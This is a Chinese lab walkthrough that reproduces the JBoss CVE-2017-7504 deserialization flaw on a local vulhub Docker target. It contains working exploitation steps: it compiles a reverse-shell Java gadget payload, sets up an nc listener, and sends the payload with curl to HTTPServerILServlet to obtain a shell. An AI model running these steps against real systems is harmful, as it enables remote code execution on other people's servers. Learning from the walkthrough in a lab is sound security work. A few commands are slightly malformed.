CVE-2017-7504 JBOSS反序列化漏洞复现

一、漏洞描述

  JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

二、漏洞环境搭建

需要使用的工具如下

1.docker+vulhub漏洞库
2.漏洞POC:下载链接//github.com/joaomatosf/JavaDeserH2HC
3.攻击机kali虚拟机(版本随意)
4.靶机Ubuntu18.04虚拟机(其他也可以)

打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)

root@admin666-virtual-machine:~/vulhub-master/jboss/CVE-2017-7504# 

执行命令

root@admin666-virtual-machine:~/vulhub-master/jboss/CVE-2017-7504# docker-compose up -d

等到出现以下页面说明已经搭建完成

可以访问//your-ip:8080,出现如下页面证明环境搭建成功!

三、漏洞利用

进入kali利用漏洞POC进行验证

1、先把POC克隆到kali中,执行命令

git clone //github.com/joaomatosf/JavaDeserH2HC

2、进入JavaDeserH2HC目录,执行

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

3、设置接收shell的IP和端口

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻击机IP:监听端口

4、使用nc监听端口

nc -lvvp 监听端口

5、用攻击机发送payload,在JavaDeserH2HC目录下执行

curl //192.168.1.17:8080/jbossmq-httpil/HTTPServerILServlet  --data-binary @ReverseShellCommonsCollectionsHashMap.ser

6、查看监听端口返回的shell,可以执行命令,至此漏洞验证完成


7、关闭docker环境

docker-compose -down